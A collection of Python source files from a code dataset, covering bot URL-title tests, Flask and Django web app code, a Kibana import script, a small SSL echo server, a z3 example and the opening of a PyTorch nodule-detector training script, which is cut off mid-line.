+{"seq_id":"44774933","text":"# -*- coding: utf-8 -*-\n\nimport bot_mock\nfrom pyfibot.modules import module_urltitle\n\nfrom utils import check_re\nimport pytest\n\nfrom vcr import VCR\nmy_vcr = VCR(path_transformer=VCR.ensure_suffix('.yaml'),\n             cassette_library_dir=\"tests/cassettes/\",\n             record_mode=pytest.config.getoption(\"--vcrmode\"))\n\n\n@pytest.fixture\ndef botmock():\n    bot = bot_mock.BotMock()\n    module_urltitle.init(bot)\n    return bot\n\nlengh_str_regex = u'\\d+(h|m|s)(\\d+(m))?(\\d+s)?'\nviews_str_regex = u'\\d+(\\.\\d+)?(k|M|Billion|Trillion)?'\nage_str_regex = u'(FRESH|(\\d+(\\.\\d+)?(y|d) ago))'\n\n\n@my_vcr.use_cassette\ndef test_areena_radio(botmock):\n    regex = u'Title: (.*?) \\[%s - %s plays - %s( - exits in \\d+ (weeks|days|hours|minutes))?\\]' % (lengh_str_regex, views_str_regex, age_str_regex)\n    msg = \"http://areena.yle.fi/1-2006973\"\n    check_re(regex, module_urltitle.handle_url(botmock, None, \"#channel\", msg, msg)[1])\n\n\n@my_vcr.use_cassette\ndef test_areena_tv(botmock):\n    regex = u'Title: (.*?) \\[%s - %s plays - %s( - exits in \\d+ (weeks|days|hours|minutes))?\\]' % (lengh_str_regex, views_str_regex, age_str_regex)\n    msg = \"http://areena.yle.fi/1-3210197\"\n    check_re(regex, module_urltitle.handle_url(botmock, None, \"#channel\", msg, msg)[1])\n\n\n# Broken\n# @my_vcr.use_cassette\n# def test_areena_series(botmock):\n#     regex = u'Title: (.*?) \\[SERIES - \\d+ episodes - latest episode: %s\\]' % (age_str_regex)\n#     msg = \"http://areena.yle.fi/1-2540167\"\n#     check_re(regex, module_urltitle.handle_url(botmock, None, \"#channel\", msg, msg)[1])\n\n\n@my_vcr.use_cassette\ndef test_areena_live(botmock):\n    regex = u'Title: Yle TV2 - (.*?)( <http://areena.yle.fi/\\d-\\d+>)? \\(LIVE\\)'\n    msg = \"http://areena.yle.fi/tv/suora/tv2\"\n    check_re(regex, module_urltitle.handle_url(botmock, None, \"#channel\", msg, msg)[1])\n","sub_path":"tests/test_areena.py","file_name":"test_areena.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"432574681","text":"#pip install sparqlwrapper\n#https://rdflib.github.io/sparqlwrapper/\n\nfrom SPARQLWrapper import SPARQLWrapper, JSON\n\nprint(\"Querying for data\")\noffset = 0\ntotal = 0\nfinal = []\n#out = open('glossary_names.txt', 'w')\ndef clean(string: str):\n    string = ' '.join(string.split()).strip()\n    return string\n\n\nwhile total < 4699170:\n    try:\n        sparql = SPARQLWrapper(\"http://sitaware.isi.edu:8080/bigdata/namespace/wdq/sparql\")\n        sparql.setQuery(\"\"\"SELECT ?Human ?HumanLabel WHERE {\n          SERVICE wikibase:label { bd:serviceParam wikibase:language \"[AUTO_LANGUAGE],en\". }\n          ?Human wdt:P31 wd:Q5.\n        }\n        LIMIT 10000\n        OFFSET \"\"\"+str(offset))\n        sparql.setReturnFormat(JSON)\n        results = sparql.query().convert()\n        #print(\"Query complete, writing results , offset was - {}\".format(offset))\n        final.extend(results['results']['bindings'])\n        total+=len(results['results']['bindings'])\n        print(\"Query complete, writing results , offset was - {}, total - {}\".format(offset, total))\n        offset+=10000\n    except Exception as e:\n        print(\"Error while fetching from wikidata {}\".format(e)) \nprint(\"Writing\")\nwith open('glossary_names.txt', 'w') as out:\n    for r in final:\n        out.write(clean(r['HumanLabel']['value'])+'\\n') \n","sub_path":"download_names.py","file_name":"download_names.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"307630427","text":"from flask import Flask\r\nfrom flask_moment import Moment\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom sqlalchemy import Column, String, Integer, Boolean, DateTime, ARRAY, ForeignKey\r\nfrom flask_migrate import Migrate\r\nfrom flask_wtf.csrf import CSRFProtect\r\nfrom datetime import datetime\r\nimport sys\r\nimport json\r\n\r\n#----------------------------------------------------------------------------#\r\n# App Config.\r\n#----------------------------------------------------------------------------#\r\n\r\nclass database:\r\n    def __init__(self, db, data_type):\r\n        self.db = db\r\n        self.data_type = data_type\r\n\r\n    def insert(self, data):\r\n        print(\"Attempting to insert the item.\", file=sys.stderr)\r\n        try:\r\n            db.session.add(data)\r\n            db.session.commit()\r\n        except Exception as err:\r\n            print(\"Unable to insert the item.\", file=sys.stderr)\r\n            print(\"Below is the error received: \", file=sys.stderr)\r\n            print(err)\r\n            self.rollback()\r\n        finally:\r\n            db.session.close()\r\n\r\n    def update(self):\r\n        print(\"Attempting to update the item.\", file=sys.stderr)\r\n        print(json.dumps(self, indent=4), file=sys.stderr)\r\n        try:\r\n            db.session.commit()\r\n        except Exception as err:\r\n            print(\"Unable to update the item.\", file=sys.stderr)\r\n            print(\"Below is the error received: \", file=sys.stderr)\r\n            print(err)\r\n            self.rollback()\r\n        finally:\r\n            db.session.close()\r\n\r\n    def delete(self):\r\n        print(\"Attempting to delete the item.\", file=sys.stderr)\r\n        print(json.dumps(self, indent=4), file=sys.stderr)\r\n        try:\r\n            db.session.delete(self)\r\n            db.session.commit()\r\n        except Exception as err:\r\n            print(\"Unable to delete the item.\", file=sys.stderr)\r\n            print(\"Below is the error received: \", file=sys.stderr)\r\n            print(err)\r\n            self.rollback()\r\n        finally:\r\n            db.session.close()\r\n\r\n    def search(self, query):\r\n        class_type = lambda x: Venue if (self.data_type == \"Venue\") else (Artist if (self.data_type == \"Artist\") else Show)\r\n\r\n        results = db.session.query(class_type).filter(class_type.name.ilike(query)).all()\r\n        \r\n        return results\r\n\r\n    def rollback(self):\r\n        print(\"Rolling back any changes attempted\", file=sys.stderr)\r\n        db.session.rollback()\r\n        db.session.close()\r\n\r\ncsrf = CSRFProtect()\r\napp = Flask(__name__)\r\ncsrf.init_app(app)\r\nmoment = Moment(app)\r\napp.config.from_object('config')\r\ndb = SQLAlchemy(app)\r\nmigrate = Migrate(app, db)\r\ndatabase = database(db, \"Venue\")\r\n\r\n#----------------------------------------------------------------------------#\r\n# Models.\r\n#----------------------------------------------------------------------------#\r\n\r\nclass Venue(db.Model):\r\n    __tablename__ = 'Venue'\r\n\r\n    # DONE: implement any missing fields, as a database migration using Flask-Migrate\r\n    id = db.Column(db.Integer, primary_key=True)\r\n    name = db.Column(db.String(120))\r\n    city = db.Column(db.String(120))\r\n    state = db.Column(db.String(120))\r\n    address = db.Column(db.String(120))\r\n    phone = db.Column(db.String(120))\r\n    image_link = db.Column(db.String(500))\r\n    facebook_link = db.Column(db.String(120))\r\n    genres = db.Column(\"genres\", db.ARRAY(db.String()))\r\n    website = db.Column(db.String(500))\r\n    seeking_talent = db.Column(db.Boolean, default=False)\r\n    seeking_description = db.Column(db.String(120))\r\n    shows = db.relationship('Show', backref='venue', lazy=True)    \r\n\r\n    def __init__(self, name, genres, address, city, state, phone, website, facebook_link, image_link, seeking_talent=False, seeking_description=\"\"):\r\n        self.name = name\r\n        self.genres = genres\r\n        self.address = address\r\n        self.city = city\r\n        self.state = state\r\n        self.phone = phone\r\n        self.website = website\r\n        self.facebook_link = facebook_link\r\n        self.seeking_talent = seeking_talent\r\n        self.seeking_description = seeking_description\r\n        self.image_link = image_link\r\n\r\n        \r\n\r\n    def insert(self):\r\n        database.insert(self)\r\n\r\n    def update(self):\r\n        database.update(self)\r\n\r\n    def delete(self):\r\n        database.delete(self)\r\n\r\n    def search(self):\r\n        database.search(self)\r\n    \r\n    def rollback(self):\r\n        database.rollback()\r\n\r\nclass Artist(db.Model):\r\n    __tablename__ = 'Artist'\r\n\r\n    id = db.Column(db.Integer, primary_key=True)\r\n    name = db.Column(db.String(120))\r\n    city = db.Column(db.String(120))\r\n    state = db.Column(db.String(120))\r\n    phone = db.Column(db.String(120))\r\n    genres = db.Column(\"genres\", db.ARRAY(db.String()))\r\n    image_link = db.Column(db.String(500))\r\n    facebook_link = db.Column(db.String(120))\r\n    website = db.Column(db.String(500))\r\n    seeking_venue = db.Column(db.Boolean, default=False)\r\n    seeking_description = db.Column(db.String(120))\r\n    shows = db.relationship('Show', backref='artist', lazy=True)\r\n    \r\n    # DONE: implement any missing fields, as a database migration using Flask-Migrate\r\n    \r\n    def __init__(self, name, genres, city, state, phone, image_link, website, facebook_link,seeking_venue=False, seeking_description=\"\"):\r\n        self.name = name\r\n        self.genres = genres\r\n        self.city = city\r\n        self.state = state\r\n        self.phone = phone\r\n        self.website = website\r\n        self.facebook_link = facebook_link\r\n        self.seeking_venue = seeking_venue\r\n        self.seeking_description = seeking_description\r\n        self.image_link = image_link\r\n\r\n    def insert(self):\r\n        database.insert(self)\r\n\r\n    def update(self):\r\n        database.update(self)\r\n\r\n    def delete(self):\r\n        database.delete(self)\r\n\r\n    def search(self):\r\n        database.search(self)\r\n    \r\n    def rollback(self):\r\n        database.rollback()\r\n\r\n# DONE: Implement Show model\r\n\r\nclass Show(db.Model):\r\n    __tablename__ = 'Show'\r\n\r\n    id = Column(Integer, primary_key=True)\r\n    venue_id = Column(Integer, ForeignKey('Venue.id'))\r\n    artist_id = Column(Integer, ForeignKey('Artist.id'))\r\n    start_time = Column(DateTime, nullable=False)\r\n\r\n    def __init__(self, venue_id, artist_id, start_time):\r\n        self.venue_id = venue_id\r\n        self.artist_id = artist_id\r\n        self.start_time = start_time\r\n\r\n    def insert(self):\r\n        database.insert(self)\r\n\r\n    def update(self):\r\n        database.update(self)\r\n\r\n    def delete(self):\r\n        database.delete(self)\r\n\r\n    def search(self):\r\n        database.search(self)\r\n    \r\n    def rollback(self):\r\n        database.rollback()","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"114966556","text":"from rest_framework import serializers\nfrom projects.serializers import UserSerializer, ProjectSerializer\nfrom fields.serializers import FieldValueSerializer\nfrom labels.serializers import LabelSerializer\nfrom workflows.serializers import TransitionSerializer\nfrom .models import Ticket, TicketType, Comment\n\n\nclass CommentSerializer(serializers.ModelSerializer):\n    \"\"\"Serialize a ticket type to JSON.\"\"\"\n    author = UserSerializer()\n\n    class Meta:\n        model = Comment\n        fields = (\n            'id',\n            'body',\n            'author',\n            'created_at',\n            'updated_at'\n        )\n\n\nclass TicketTypeSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = TicketType\n        fields = (\n            'id',\n            'name'\n        )\n\n\nclass TicketSerializer(serializers.ModelSerializer):\n    labels = LabelSerializer(many=True)\n    fields = FieldValueSerializer(many=True)\n    transitions = TransitionSerializer(many=True)\n    assignee = UserSerializer()\n    reporter = UserSerializer()\n    project = ProjectSerializer()\n    ticket_type = TicketTypeSerializer()\n\n    class Meta:\n        model = Ticket\n        fields = (\n            'id',\n            'key',\n            'updated_at',\n            'created_at',\n            'summary',\n            'description',\n            'ticket_type',\n            'labels',\n            'fields',\n            'assignee',\n            'reporter',\n            'project',\n            'transitions'\n        )\n","sub_path":"tickets/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"437430763","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport io\nimport csv\nimport fileinput\nimport json\nimport datetime\nimport decimal\nfrom collections import OrderedDict\n\ndef main (arg0, argv):\n    #if sys.stdin.isatty():\n        #return \"stdin is a tty. this probably isn't what you want\"\n    with io.StringIO(\"\".join(fileinput.input(argv))) as stream:\n        for row in csv.DictReader(stream):\n            print(json.dumps(OrderedDict([\n                ( \"Date\", datetime.datetime.strptime(row[\"Date\"], \"%m/%d/%Y\").strftime(\"%Y-%m-%d\") ),\n                ( \"Name\", row[\"Description\"] ),\n                ( \"Merchant\", row[\"Original Description\"] ),\n                ( \"Amount\", float(decimal.Decimal(row[\"Amount\"]) * (-1 if row[\"Transaction Type\"] == \"debit\" else 1)) ),\n                ( \"Category\", row[\"Category\"] ),\n                ( \"Account\", row[\"Account Name\"] ),\n                ( \"Labels\", row[\"Labels\"] ),\n                ( \"Notes\", row[\"Notes\"] ),\n            ]), ensure_ascii=True))\n\nif __name__ == \"__main__\":\n    try:\n        c = main(sys.argv[0], sys.argv[1:])\n    except KeyboardInterrupt:\n        c = 1\n    except BrokenPipeError:\n        c = 0\n        sys.stderr.close()\n    if c:\n        sys.exit(c)\n","sub_path":"projects/macro/mint/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"338626459","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"import.kibana.py - import kabana visual for each defined symbol\nElasticsearch.\nSee README.md or https://github.com/shirosaidev/stocksight\nfor more information.\n\nCopyright (C) Chris Park 2018-2019\nCopyright (C) Allen (Jian Feng) Xie 2019\nstocksight is released under the Apache 2.0 license. See\nLICENSE for the full license text.\n\"\"\"\nimport requests\nimport sys\nimport os\nfrom StockSight.Initializer.ConfigReader import *\n\nSTOCKSIGHT_VERSION = '0.2'\n__version__ = STOCKSIGHT_VERSION\n\nif __name__ == '__main__':\n\n    try:\n        template_file = open('kibana_export/export.7.3.ndjson', \"rt\", encoding='utf-8')\n        import_template = template_file.read()\n        template_file.close()\n\n        for symbol in config['symbols']:\n            try:\n                print(\"Starting %s Kibana Dashboard Import\" % symbol)\n                ndjson_file_path = 'kibana_export/tmp/'+symbol+'_exports.ndjson'\n                ndjson_file = open(ndjson_file_path, \"wt\", encoding='utf-8')\n                final_text = import_template.replace('tmpl', symbol)\n                ndjson_file.write(final_text)\n                ndjson_file.close()\n\n                kibana_import_url = 'http://kibana:5601/api/saved_objects/_import'\n\n                overwrite = os.getenv('KIBANA_OVERWRITE', False)\n                if overwrite is False:\n                    payload = {}\n                else:\n                    payload = {'overwrite': 'true'}\n\n                headers = {'kbn-xsrf': 'True'}\n                post = requests.request('POST', kibana_import_url, params=payload, headers=headers, files={'file': open(ndjson_file_path, \"rt\", encoding='utf-8')})\n                print(\"Imported %s Kibana Dashboard\" % symbol)\n                print(ndjson_file_path)\n                print(post.text)\n\n            except Exception as e:\n                print(e)\n                print(\"Please run this script manually once kibana is ready.\")\n                pass\n\n    except KeyboardInterrupt:\n        print(\"Ctrl-c keyboard interrupt, exiting...\")\n        sys.exit(0)\n","sub_path":"src/import.kibana.py","file_name":"import.kibana.py","file_ext":"py","file_size_in_byte":2082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"609884951","text":"import http.server\nfrom urllib.parse import urlparse\nclass MyHandler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        parsed_path=urlparse(self.path)\n        message_parts=['Client address : {0}'.format(self.client_address),\n                       'Client string : {0}'.format(self.address_string()),\n                       'Command : {0}'.format(self.command),\n                       'Path : {0}'.format(self.path),\n                       'real path : {0}'.format(parsed_path.path),\n                       'query : {0}'.format(parsed_path.query),\n                       'request version : {0}'.format(self.request_version),\n                       'server_version : {0}'.format(self.server_version),\n                       'sys_version : {0}'.format(self.sys_version),\n                       'protocol_version : {0}'.format(self.protocol_version)]\n\n        message='<br>'.join(message_parts)\n        self.send_response(200) \n        self.end_headers()\n        self.wfile.write(message.encode('utf-8'))\n        return None\n\ns=http.server.HTTPServer(('localhost',8080),MyHandler)\ns.serve_forever()\n\n'''\ndef master() {\n   # create an instance of the HTTP server\n   e := echo.New()\n   #  add the request handler for the route\n   e.GET(\"/compute\", func(c echo.Context) error {\n      # retrieve \"text\" param from query\n      text := c.QueryParam(\"text\")\n\n      # 1. Splitting\n      # 2. Mapping\n      # 3. Shuffling\n      # the variable contains the results of the calculations of the Reducers\n      var reducing = map[string]map[string]int{}\n      \n      # 4. Reducing\n\n      # return results in the HTTP response\n      return json.NewEncoder(c.Response()).Encode(&reducing)\n   })\n\n   # hang the HTTP-server on port\n   e.Logger.Fatal(e.Start(\":8080\"))\n}\n'''\n","sub_path":"mapreduce.py","file_name":"mapreduce.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"503172840","text":"#!/usr/bin/env python\n\nimport numpy as np\nfrom numpy import cos,sin\n\n\"\"\"\n\ndef Rx(theta):\n    a=np.cos(theta)\n    b=np.sin(theta)\n    one = np.ones(theta.size)\n    zero = np.zeros(theta.size)\n    return np.array([[one,zero,zero],[zero,a,b],[zero,-b,a]]).swapaxes(0,2)\n\ndef Ry(theta):\n    a=np.cos(theta)\n    b=np.sin(theta)\n    one = np.ones(theta.size)\n    zero = np.zeros(theta.size)\n    return np.array([[a,zero,-b],[zero,one,zero],[b,zero,a]]).swapaxes(0,2)\n\ndef Rz(theta):\n    a=np.cos(theta)\n    b=np.sin(theta)\n    one = np.ones(theta.size)\n    zero = np.zeros(theta.size)\n    return np.array([[a,b,zero],[-b,a,zero],[zero,zero,one]]).swapaxes(0,2)\n\n\ndef rotate(phi,alpha,psi,beta):\n    R1=Ry(beta)\n    R2=Rx(-phi)\n    R3=Ry(alpha)\n    R4=Rx(-psi)\n\n    R=np.dot(R1,np.dot(R2,np.dot(R3,R4)))\n\n    return R\n\n\"\"\"\n\ndef rotate(time, w_year, w_prec, alpha, w_spin, v, eta = 0):\n\n    ce = cos(w_year*time)\n    se = sin(w_year*time)\n    cp = cos(w_prec*time)\n    sp = sin(w_prec*time)\n    ct = cos(np.full(time.size, alpha))\n    st = sin(np.full(time.size, alpha))\n    cs = cos(w_spin*time)\n    ss = sin(w_spin*time)\n\n    #R=np.array([ [ ct , -sp*st , st*cp ] ,\n    #             [ -st*ss , cp*cs - sp*ct*ss , sp*cs + cp*ct*ss ] ,\n    #             [ -st*cs , -cp*ss - sp*ct*cs , -sp*ss + cp*ct*cs ] ])\n\n    R = np.array([ [ce*ct + se*sp*st, se*ct - ce*sp*st, st*cp],\n                   [-ce*st*ss - se*cp*cs + se*sp*ct*ss, -se*st*ss + ce*cp*cs - ce*sp*ct*ss, sp*cs + cp*ct*ss],\n                   [-ce*st*cs + se*cp*ss + se*sp*ct*cs, -se*st*cs - ce*cp*ss - ce*sp*ct*cs, -sp*ss + cp*ct*cs] ])\n\n    #pol_dir=(eta+w_prec*time+w_spin*time)%np.pi\n\n    return np.dot(R.T,v)#, pol_dir\n\n\n    \n\n","sub_path":"lib/geometry/rotation_pol.py","file_name":"rotation_pol.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"536352419","text":"from socket import *\nfrom ssl import create_default_context, Purpose\n\nserverPort = 8443\ncontext = create_default_context(Purpose.CLIENT_AUTH)\ncontext.load_cert_chain(certfile='example.crt', keyfile='example.key')\nserverSocket = socket(AF_INET, SOCK_STREAM)\nserverSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\nserverSocket.bind(('', serverPort))\nserverSocket.listen(1)\nprint('The server is ready to receive')\nwhile True:\n    connSock, addr = serverSocket.accept()\n    sslSocket = context.wrap_socket(connSock, server_side=True)\n    sentence = sslSocket.recv(1024).decode()\n    capitalizedSentence = sentence.upper()\n    sslSocket.send(capitalizedSentence.encode())\n    sslSocket.shutdown(SHUT_RDWR)\n    sslSocket.close()\n","sub_path":"assignments/assignment_3/SSLServer.py","file_name":"SSLServer.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"375148199","text":"from django.urls import path\r\nfrom blog import views\r\n\r\napp_name = 'blog_post'\r\n\r\nurlpatterns = [\r\n    path('', views.BlogList.as_view(), name='blog_list'),\r\n    path('index/', views.AboutView.as_view(), name='index'),\r\n    path('blogdetail/<int:pk>/', views.BlogDetailView.as_view(), name='blog_detail'),\r\n    path('blog/new/', views.BlogCreate.as_view(), name='blog_create'),\r\n    path('blogupdate/<int:pk>/', views.BlogUpdate.as_view(), name='blog_update'),\r\n    path('blogdelete/<int:pk>', views.BlogDelete.as_view(), name='blog_delete'),\r\n    path('blogdraft/', views.BlogDraft.as_view(), name='blog_draft'),\r\n    path('blog/<int:pk>/comment', views.add_comment_to_post, name='blog_comment'),\r\n    path('comment/<int:pk>/approve/', views.comment_approve, name='comment_approve'),\r\n    path('comment/<int:pk>/remove/', views.comment_remove, name='comment_remove'),\r\n]\r\n#\r\n# urlpatterns = [\r\n#     path('', views.AboutView.as_view(), name='about'),\r\n#     path('postlist/', views.PostListView.as_view(), name='post_list'),\r\n#     path('postdetail/<int:pk>', views.PostDetialView.as_view(), name='post_detail'),\r\n#     path('post/new/', views.CreatePostView.as_view(), name='post_new'),\r\n#     path('post/<int:pk>/edit/', views.UpdatePostView.as_view(), name='post_edit'),\r\n#     path('post/<int:pk>/remove/', views.DeletePostView.as_view(), name='post_remove'),\r\n#     path('post/draft/', views.DrafListView.as_view(), name='post_draft_list'),\r\n#     path('post/<int:pk>/publish/', views.post_publish, name='post_publish'),\r\n#\r\n#     path('post/<int:pk>/comment/', views.add_Comment_to_post, name='add_Comment_to_post'),\r\n#     path('comment/<int:pk>/approve/', views.comment_approve, name='comment_approve'),\r\n#     path('comment/<int:pk>/remove/', views.comment_remove, name='comment_remove'),\r\n#\r\n# ]","sub_path":"mysite/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"533894541","text":"#!/usr/bin/python\nfrom z3 import *\n\nX1 = Bool('1')\nX2 = Bool('2')\nX3 = Bool('3')\nX4 = Bool('4')\nX5 = Bool('5')\nX6 = Bool('6')\n\nC0 = Or(X5, Not(X1), X3)\nC1 = Or(Not(X2),X4)\nC2 = Or(Not(X5),X1)\nC3 = Or(X6,X1)\nC4 = Or(Not(X1),X2)\nC5 = Or(Not(X3),Not(X4))\nC6 = Or(Not(X5),Not(X6))\n\n\nT=And(C0,C1,C2,C3,C4,C5,C6)\n\ns=Solver()\ns.add(T)\n\nprint(s.to_smt2())\nsolve(T)\nprint(T)\n","sub_path":"week3/2_4.py","file_name":"2_4.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"356936483","text":"#!/usr/bin/python3\n#coding=utf-8\n\nimport argparse\nimport os\nimport time\nimport numpy as np\nfrom importlib import import_module\nimport shutil\nfrom pathlib import Path\nimport sys\nfrom tqdm import tqdm\nfrom tensorboardX import SummaryWriter\n\nimport torch\nfrom torch.nn import DataParallel\nfrom torch.backends import cudnn\nfrom torch.utils.data import DataLoader\n\nfrom data_detector import DataBowl3Detector, collate\nfrom data_detector import NoduleMalignancyDetector\nfrom utils import setgpu\nfrom split_combine import SplitComb\nfrom config_training import config as config_training\nfrom learning_rates import SnapshotLR\n\n\n\nparser = argparse.ArgumentParser(description='PyTorch DataBowl3 Detector')\nparser.add_argument('--model', '-m', metavar='MODEL', default='base',\n                    help='model')\nparser.add_argument('-j', '--workers', default=32, type=int, metavar='N',\n                    help='number of data loading workers (default: 32)')\nparser.add_argument('--epochs', default=100, type=int, metavar='N',\n                    help='number of total epochs to run')\nparser.add_argument('--start-epoch', default=None, type=int, metavar='N',\n                    help='manual epoch number (useful on restarts)')\nparser.add_argument('-b', '--batch-size', default=16, type=int,\n                    metavar='N', help='mini-batch size (default: 16)')\nparser.add_argument('--lr', '--learning-rate', default=1e-2, type=float,\n                    metavar='LR', help='initial learning rate')\nparser.add_argument('--momentum', default=0.9, type=float, metavar='M',\n                    help='momentum')\nparser.add_argument('--weight-decay', '--wd', default=1e-4, type=float,\n                    metavar='W', help='weight decay (default: 1e-4)')\nparser.add_argument('--save-freq', default='10', type=int, metavar='S',\n                    help='save frequency')\nparser.add_argument('--resume', default='', type=str, metavar='PATH',\n                    help='path to latest checkpoint (default: none)')\nparser.add_argument('--save-dir', default=None, type=str, metavar='SAVE',\n                    help='directory to save checkpoint (default: none)')\nparser.add_argument('--test', default=0, type=int, metavar='TEST',\n                    help='1 do test evaluation, 0 not')\nparser.add_argument('--split', default=8, type=int, metavar='SPLIT',\n                    help='In the test phase, split the image to 8 parts')\nparser.add_argument('--gpu', default='all', type=str, metavar='N',\n                    help='use gpu, \"all\" or \"0,1,2,3\" or \"0,2\" etc')\nparser.add_argument('--n_test', default=4, type=int, metavar='N',\n                    help='number of gpu for test')\nparser.add_argument('--cross', default=None, type=str, metavar='N',\n                    help='which data cross be used')\nargs = parser.parse_args()\nbest_loss = 100.0\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nwriter = SummaryWriter(comment=args.model)\nuse_tqdm = True\n\n\ndef main():\n    global args, best_loss\n    datadir = config_training['preprocess_result_path']\n    \n    train_id = './test_0222_' + args.cross + '/LUNA_train.json'\n    val_id = './test_0222_' + args.cross + '/LUNA_val.json'\n    test_id = './test_0222_' + args.cross + '/LUNA_test.json'\n\n    torch.manual_seed(0)\n    cudnn.benchmark = False\n\n    # Load model\n    print(\"=> loading model '{}'\".format(args.model))\n    model_root = 'net'\n    model = import_module('{}.{}'.format(model_root, args.model))\n    config, net, criterion, get_pbb = model.get_model(output_feature=False)\n\n    # If possible, resume from a checkpoint\n    if args.resume:\n        checkpoint = torch.load(args.resume)\n        net.load_state_dict(checkpoint['state_dict'])\n        best_loss = checkpoint['best_loss']\n        print(\"=> loaded checkpoint '{}' (epoch {})\".format(args.resume, checkpoint['epoch']))\n\n    # Determine the save dir\n    if args.save_dir is None:\n        if args.resume:\n            save_dir = checkpoint['save_dir']\n        else:\n            exp_id = time.strftime('%Y%m%d-%H%M%S', time.localtime())\n            save_dir = os.path.join('results', f'{args.model}_{exp_id}')\n    else:\n        save_dir = os.path.join('results', args.save_dir)\n\n    # Determine the start epoch\n    if args.start_epoch is None:\n        if args.resume:\n            start_epoch = checkpoint['epoch'] + 1\n        else:\n            start_epoch = 1\n    else:\n        start_epoch = args.start_epoch\n\n    # If no save_dir, make a new one\n    if not os.path.isdir(save_dir):\n        os.makedirs(save_dir)\n\n    # Preserve training parameters for future analysis\n    if args.test != 1:\n        pyfiles = list(Path('.').glob('*.py')) + list(Path('net').glob('*.py'))\n        if not (Path(save_dir)/'net').is_dir():\n            os.makedirs(Path(save_dir)/'net')\n        for f in pyfiles:\n            shutil.copy(f, Path(save_dir)/f)\n        \n\n    # Train and validate phase\n    trainset = DataBowl3Detector(datadir, train_id, config, phase='train')\n    train_loader = DataLoader(trainset, batch_size=args.batch_size, shuffle=True, num_workers=args.workers,\n                              pin_memory=True)\n    valset = DataBowl3Detector(datadir, val_id, config, phase='val')\n    val_loader = DataLoader(valset, batch_size=args.batch_size, shuffle=False, num_workers=args.workers,\n                            pin_memory=True)\n\n    # Setup GPU\n    # n_gpu = setgpu(args.gpu)\n    # args.n_gpu = n_gpu\n    gpu_id = range(torch.cuda.device_count()) if args.gpu == 'all' else [int(idx.strip()) for idx in args.gpu.split(',')]\n    net = net.to(device)\n    net = DataParallel(net, device_ids=gpu_id)\n\n    # Setup learning rate adjuster\n    lr_adjuster = SnapshotLR(initial_lr=1e-3, iteration_type='mini_batch',\n                             max_lr=args.lr, total_iters=args.epochs*len(train_loader), n_cycles=args.epochs)\n\n    # Define loss function (criterion) and optimizer\n    criterion = criterion.to(device)\n    optimizer = torch.optim.SGD(net.parameters(), lr=args.lr, momentum=args.momentum, weight_decay=args.weight_decay)\n    #optimizer = torch.optim.Adam(net.parameters(), lr=args.lr, weight_decay=args.weight_decay)\n\n    pytorch_total_params = sum(p.numel() for p in net.parameters())\n    print(\"Total number of params = \", pytorch_total_params)\n\n    # Infer luna16's pbb/lbb, which are used in training the classifier.\n    if args.test == 1:\n        margin = 16#16#32\n        sidelen = 48#64#144\n        split_comber = SplitComb(sidelen, config['max_stride'], config['stride'], margin, config['pad_value'])\n        testset = DataBowl3Detector(datadir, test_id, config,\n                                           phase='test', split_comber=split_comber)\n        test_loader = DataLoader(testset, batch_size=1, shuffle=False, num_workers=0,\n                                 collate_fn=collate, pin_memory=False)\n        test(test_loader, net, get_pbb, save_dir, config)\n        '''Computing performance for test set'''\n        # testset_val = DataBowl3Detector(datadir, val_id, config, phase='val')\n        # testset_val_loader = DataLoader(testset_val, batch_size=args.batch_size, shuffle=False, num_workers=args.workers,\n                            # pin_memory=True)\n        # test_val_loss = validate(testset_val_loader, net, criterion, 0, os.path.join(save_dir, 'bbox'))\n        return\n\n\n\n    # run train and validate\n    for epoch in range(start_epoch, args.epochs + 1):\n        # Train for one epoch\n        train(train_loader, net, criterion, epoch, optimizer, lr_adjuster)\n\n\n        # Evaluate on validation set\n        val_loss = validate(val_loader, net, criterion, epoch, save_dir)\n        # Remember the best val_loss and save checkpoint\n        is_best = val_loss < best_loss\n        best_loss = min(val_loss, best_loss)\n\n        if epoch % args.save_freq == 0 or is_best:\n            state_dict = net.module.state_dict()\n            state_dict = {k:v.cpu() for k, v in state_dict.items()}\n            state = {'epoch': epoch,\n                     'save_dir': save_dir,\n                     'state_dict': state_dict,\n                     'args': args,\n                     'best_loss': best_loss}\n            save_checkpoint(state, is_best, os.path.join(save_dir, '{:>03d}.ckpt'.format(epoch)))\n\ndef train(data_loader, net, criterion, epoch, optimizer, lr_adjuster):\n    start_time = time.time()\n\n    # Switch to train mode\n    net.train()\n    cur_iter = int((epoch - 1) * len(data_loader)) + 1\n\n    metrics = []\n    pbar = tqdm(data_loader, ncols = 70) if 